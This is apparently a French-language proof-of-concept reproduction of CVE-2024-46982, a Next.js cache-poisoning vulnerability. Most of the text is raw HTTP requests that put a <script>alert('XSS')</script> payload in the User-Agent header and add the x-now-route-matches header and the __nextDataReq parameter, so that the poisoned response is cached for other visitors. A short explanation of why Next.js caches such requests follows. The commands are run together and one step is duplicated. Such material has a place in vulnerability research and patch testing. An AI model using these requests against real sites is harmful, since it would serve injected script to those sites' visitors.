
Reproduction de CVE-2024-46982
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visitez http://localhost:3000 (requête normale) à l'aide de n'importe quel navigateur Web.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visitez http://localhost:3000 (requête normale) à l'aide de n'importe quel navigateur Web.

x-now-route-matches est un en-tête HTTP personnalisé reconnu par Next.js. Lorsqu'il est présent, Next.js traite la requête HTTP comme « SSG » (Static Site Generation), ce qui permet de mettre en cache la réponse HTTP (Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1 est une chaîne de requête reconnue par Next.js. Lorsqu'elle est présente, Next.js traite la requête HTTP comme une « Récupération de __NEXT_DATA__ ».
L'article complet se trouve dans la section Credit